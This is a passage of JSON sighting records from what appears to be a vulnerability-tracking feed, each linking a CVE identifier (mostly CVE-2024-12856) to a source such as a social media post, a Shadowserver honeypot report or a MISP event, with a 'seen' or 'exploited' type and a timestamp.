"vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12310", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lunct6brw32o", "content": "", "creation_timestamp": "2025-07-23T15:16:44.127438Z"}, {"uuid": "079c80d6-649b-433a-a8b9-9858c851e776", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12986", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lunw55iklk2x", "content": "", "creation_timestamp": "2025-07-23T21:02:26.145078Z"}, {"uuid": "d7894cc2-58e3-44ff-867f-395706b92082", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-13)", "content": "", "creation_timestamp": "2025-10-13T00:00:00.000000Z"}, {"uuid": "69c8deee-638d-456f-b689-9d5ce40f7a08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12133", "type": "seen", "source": "https://bsky.app/profile/lambdawatchdog.bsky.social/post/3lupievbyrh2y", "content": "", "creation_timestamp": "2025-07-24T12:01:27.213869Z"}, {"uuid": "fbd7cd5c-0f91-4c4c-a5f9-1c318a117ace", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-29)", "content": "", "creation_timestamp": "2025-10-29T00:00:00.000000Z"}, {"uuid": "7e45c0d2-7b12-4dd8-94e9-934dea8744ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12029", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:02.000000Z"}, {"uuid": "11c1f847-bafc-4f6b-be8d-162c2d17db13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-25)", "content": "", "creation_timestamp": "2025-07-25T00:00:00.000000Z"}, {"uuid": "af504728-43f7-4433-a8d0-6c67f15d7a4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-27)", "content": "", "creation_timestamp": "2025-09-27T00:00:00.000000Z"}, {"uuid": "3f108b20-a4f7-4423-915c-0cb3159dd7ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-26)", "content": "", "creation_timestamp": "2025-07-26T00:00:00.000000Z"}, {"uuid": "6f1a6885-8ad8-4b5b-a21a-e708e944d4c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12971", "type": "seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "content": "", "creation_timestamp": "2025-10-23T21:13:02.000000Z"}, {"uuid": "240afd61-fd1b-46d1-894d-f89fb3e38306", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-27)", "content": "", "creation_timestamp": "2025-07-27T00:00:00.000000Z"}, {"uuid": "3c023c09-3e59-4abb-9786-494c464296ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-06)", "content": "", "creation_timestamp": "2025-10-06T00:00:00.000000Z"}, {"uuid": "fe16d055-4cbd-4be3-95a6-16d803762699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://bsky.app/profile/cyberalerts.bsky.social/post/3lv2kljlopo2g", "content": "", "creation_timestamp": "2025-07-28T21:40:13.870195Z"}, {"uuid": "b1f333bf-eee4-4a4f-944b-045fbcd6ba2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-16)", "content": "", "creation_timestamp": "2025-09-16T00:00:00.000000Z"}, {"uuid": "dbc9bd89-cbf1-4506-98c7-ee651183321e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-29)", "content": "", "creation_timestamp": "2025-07-29T00:00:00.000000Z"}, {"uuid": "c4b2032f-4543-4160-820b-8ad720b316b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-20)", "content": "", "creation_timestamp": "2025-09-20T00:00:00.000000Z"}, {"uuid": "11afc872-8e8f-49f0-b5d9-e979332e7bec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-31)", "content": "", "creation_timestamp": "2025-07-31T00:00:00.000000Z"}, {"uuid": "28e0d470-90e6-492f-bd39-d400f744ab6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-01)", "content": "", "creation_timestamp": "2025-08-01T00:00:00.000000Z"}, {"uuid": "79a797e0-a799-4724-aa57-15d2ccfdd30b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-20)", "content": "", "creation_timestamp": "2025-11-20T00:00:00.000000Z"}, {"uuid": "155548c4-862a-4909-a906-5b42c6d106fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-31)", "content": "", "creation_timestamp": "2025-10-31T00:00:00.000000Z"}, {"uuid": "feec7139-74da-4cd2-adeb-568e7acddfb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-03)", "content": "", "creation_timestamp": "2025-11-03T00:00:00.000000Z"}, {"uuid": "c1a14d0b-dc1b-470c-9868-6db801fb7f26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-02)", "content": "", "creation_timestamp": "2025-10-02T00:00:00.000000Z"}, {"uuid": "e5b2e649-dc21-4fee-99c3-57907a9a2aea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-28)", "content": "", "creation_timestamp": "2025-11-28T00:00:00.000000Z"}, {"uuid": "b77e8293-60ce-473b-bc49-839881bc63f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-09-28T08:23:31.000000Z"}, {"uuid": "e947b6e8-b1d9-4458-b808-bf6e8d8e8cf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-19)", "content": "", "creation_timestamp": "2025-10-19T00:00:00.000000Z"}, {"uuid": "3bc32fc5-bfe1-41f3-b612-1f950f711515", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-23)", "content": "", "creation_timestamp": "2025-10-23T00:00:00.000000Z"}, {"uuid": "815ad6bd-db0c-41da-b240-fb6ebb2624b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://bsky.app/profile/r-netsec-bot.bsky.social/post/3lvtipkdly42b", "content": "", "creation_timestamp": "2025-08-07T19:43:15.442117Z"}, {"uuid": "97c05d7b-c41b-40b4-88f2-3bc3f2e2c2b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://bsky.app/profile/r-netsec.bsky.social/post/3lvtje5ef3x2x", "content": "", "creation_timestamp": "2025-08-07T19:54:45.704175Z"}, {"uuid": "e16cdb5a-105f-4181-8ba6-760204aeca0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://bsky.app/profile/buherator.bsky.social/post/3lvuubjafyz2d", "content": "", "creation_timestamp": "2025-08-08T08:42:48.698238Z"}, {"uuid": "fe63e9dc-940b-4d86-8f31-d5306111d7ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115578606002979278", "content": "", "creation_timestamp": "2025-11-19T21:59:30.006195Z"}, {"uuid": "231d430e-578d-4e42-9ba3-d84437edc0fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/115578608301178805", "content": "", "creation_timestamp": "2025-11-19T22:00:06.429732Z"}, {"uuid": "19fbf66b-0899-444d-9f40-d25e34d5f5d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-03)", "content": "", "creation_timestamp": "2025-11-03T00:00:00.000000Z"}, {"uuid": "664a095d-ff20-47f2-92b1-a14db13b23fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12718", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3lvxk6h6r6o2n", "content": "", "creation_timestamp": "2025-08-09T10:20:07.462530Z"}, {"uuid": "53a42b1b-06f7-4718-8eda-4195783409d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-12718", "type": "seen", "source": "https://bsky.app/profile/raptor.infosec.exchange.ap.brid.gy/post/3lvxm4bfb7ju2", "content": "", "creation_timestamp": "2025-08-09T10:55:09.644902Z"}, {"uuid": "bbe2aeb1-a50c-4e30-88db-62090347d354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12543", "type": "seen", "source": "MISP/abd2a650-703d-4a2f-9f73-3051c1672e27", "content": "", "creation_timestamp": "2025-08-09T13:26:56.000000Z"}, {"uuid": "a57b9131-1ccc-43b5-a952-f79732914d14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2025-09-29T03:12:14.000000Z"}, {"uuid": "d3955b4a-d20b-432e-adfa-c5685e0d966b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-28)", "content": "", "creation_timestamp": "2025-11-28T00:00:00.000000Z"}, {"uuid": "6d5eb894-6382-4995-94e8-b7d1f630a745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-21)", "content": "", "creation_timestamp": "2025-09-21T00:00:00.000000Z"}, {"uuid": "565e744c-69b2-4365-bd49-a320f32235b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-06)", "content": "", "creation_timestamp": "2025-11-06T00:00:00.000000Z"}, {"uuid": "b18db0e7-9ecb-4e45-9ea5-e58917498013", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-28)", "content": "", "creation_timestamp": "2025-09-28T00:00:00.000000Z"}, {"uuid": "6a00cb55-ee49-423a-a708-4f7190a0508c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-26)", "content": "", "creation_timestamp": "2025-11-26T00:00:00.000000Z"}, {"uuid": "890ba9b3-7787-428d-8f1a-85ca95881be2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12543", "type": "seen", "source": "MISP/abd2a650-703d-4a2f-9f73-3051c1672e27", "content": "", "creation_timestamp": "2025-08-11T18:47:37.000000Z"}, {"uuid": "e306db21-d452-43b4-a159-b03e62510519", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12537", "type": "seen", "source": "MISP/3e4b778d-5810-4171-a915-f1d106684af4", "content": "", "creation_timestamp": "2025-08-11T18:27:49.000000Z"}, {"uuid": "edb452f3-4a9e-4a65-bb3a-23022d0fa014", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12910", "type": "seen", "source": "MISP/3e4b778d-5810-4171-a915-f1d106684af4", "content": "", "creation_timestamp": "2025-08-11T18:27:49.000000Z"}, {"uuid": "3fe78b31-ed52-4ad9-8ba4-3b37cc9e6ed2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12704", "type": "seen", "source": "MISP/3e4b778d-5810-4171-a915-f1d106684af4", "content": "", "creation_timestamp": "2025-08-11T18:27:49.000000Z"}, {"uuid": "1727f4b8-2daf-4f3b-a20d-7f9462631512", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12911", "type": "seen", "source": "MISP/3e4b778d-5810-4171-a915-f1d106684af4", "content": "", "creation_timestamp": "2025-08-11T18:27:49.000000Z"}, {"uuid": "8e4b6c87-3466-4a6e-a4c1-f5c26ea9e302", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/ferramentaslinux.bsky.social/post/3m2qxtbturk2f", "content": "", "creation_timestamp": "2025-10-09T10:41:48.215687Z"}, {"uuid": "341fd9b9-4e20-484d-965f-f9c929cd32a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "MISP/1c8ce874-c606-5e33-800d-fba62b8897ef", "content": "", "creation_timestamp": "2025-09-08T06:09:02.000000Z"}, {"uuid": "1dcaa670-285d-463d-aeeb-5d7d321aab29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3m62ct3oues2h", "content": "", "creation_timestamp": "2025-11-20T08:08:06.177163Z"}, {"uuid": "8a2bf674-a0ea-435c-a8e8-20542ee1e874", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "https://bsky.app/profile/nihonmatsu.bsky.social/post/3m62ct64ze22h", "content": "", "creation_timestamp": "2025-11-20T08:08:06.988997Z"}, {"uuid": "abf3ea38-879c-4a99-9ced-ac94b5cc6faa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-08)", "content": "", "creation_timestamp": "2025-11-08T00:00:00.000000Z"}, {"uuid": "36ad05c5-7e20-4ba7-b0a0-229c91b2c0f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-01)", "content": "", "creation_timestamp": "2025-11-01T00:00:00.000000Z"}, {"uuid": "798a80e3-68a5-49fc-b739-d2a28497cdbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-12)", "content": "", "creation_timestamp": "2025-11-12T00:00:00.000000Z"}, {"uuid": "9c14a68e-60c6-448b-a00c-fd0156494e51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-14)", "content": "", "creation_timestamp": "2025-09-14T00:00:00.000000Z"}, {"uuid": "e88a6a47-2786-4248-b3ba-7317dda35dbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-05)", "content": "", "creation_timestamp": "2025-10-05T00:00:00.000000Z"}, {"uuid": "6f9c3dda-79e1-4365-9a96-39a5679575e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12380", "type": "seen", "source": "MISP/682bdba3-46b7-4a8f-b7be-c6bf4b4f9868", "content": "", "creation_timestamp": "2025-08-13T13:26:34.000000Z"}, {"uuid": "78f59fa7-bffc-4c33-b21f-a66a4a8b8f20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-19)", "content": "", "creation_timestamp": "2025-11-19T00:00:00.000000Z"}, {"uuid": "94e5ea41-db21-4d94-b1cc-1c5ac9eb47d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-03)", "content": "", "creation_timestamp": "2025-10-03T00:00:00.000000Z"}, {"uuid": "cb9bf51d-d98b-4f87-afa1-68525c40b59c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-17)", "content": "", "creation_timestamp": "2025-09-17T00:00:00.000000Z"}, {"uuid": "1b5b8d62-eef8-4d97-87ed-bf3ee6f094fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-13)", "content": "", "creation_timestamp": "2025-11-13T00:00:00.000000Z"}, {"uuid": "cbafe18c-e37f-49b3-998c-50df91fa4bd6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12573", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lwhcmx7sii2e", "content": "", "creation_timestamp": "2025-08-15T16:47:39.710313Z"}, {"uuid": "ec849a90-7350-4025-932b-9bde38499d54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-26)", "content": "", "creation_timestamp": "2025-10-26T00:00:00.000000Z"}, {"uuid": "784bbf60-a52f-4995-9fb7-252e09a325ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-16T01:45:14.000000Z"}, {"uuid": "71424cc6-c560-4049-a110-9c992a8aa7b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "MISP/4d9e0694-2872-4bfc-8eee-f1ab846c5ab0", "content": "", "creation_timestamp": "2025-08-16T01:45:14.000000Z"}, {"uuid": "622d496d-eeba-4afb-8e8f-0476b2da6573", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12987", "type": "seen", "source": "MISP/053ca026-a56e-47a6-9d17-dd5021a065a4", "content": "", "creation_timestamp": "2025-08-16T14:30:35.000000Z"}, {"uuid": "1fbae6b9-4827-4b3d-a1a3-bf3de94d29fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12700", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:31.000000Z"}, {"uuid": "87507674-6650-408a-95c3-9c59c6bb75c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-28)", "content": "", "creation_timestamp": "2025-10-28T00:00:00.000000Z"}, {"uuid": "f15ab493-78b0-416c-bf58-5d3f202d5d38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "MISP/a41d8549-5384-5e1a-8c33-bf88e35b5a0a", "content": "", "creation_timestamp": "2025-10-14T10:31:52.000000Z"}, {"uuid": "58b97593-a59b-466a-8c20-fecc0a9ad4c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "MISP/a41d8549-5384-5e1a-8c33-bf88e35b5a0a", "content": "", "creation_timestamp": "2025-10-14T10:31:59.000000Z"}, {"uuid": "282a3985-b073-413e-8ac6-72cbfd5d47b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12789", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:31.000000Z"}, {"uuid": "3c5276e8-b121-45c9-ab8d-93e99ef3386e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12787", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:31.000000Z"}, {"uuid": "60911c88-b1f2-4f01-a044-4a2253068e00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12785", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:31.000000Z"}, {"uuid": "e1a2c1d8-31e7-438d-9afd-9bb1bfc61cbe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12784", "type": "seen", "source": "MISP/acd0294c-4561-4286-a04e-5c02a1c67b1f", "content": "", "creation_timestamp": "2025-09-15T13:28:32.000000Z"}, {"uuid": "c3551a47-d7a1-42db-9992-be72efb01f1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12741", "type": "seen", "source": "MISP/fc16b923-3a13-4e9d-9aac-10a57cac12c7", "content": "", "creation_timestamp": "2025-08-18T18:30:59.000000Z"}, {"uuid": "db8775c5-00af-497d-af6e-36040753fe74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12084", "type": 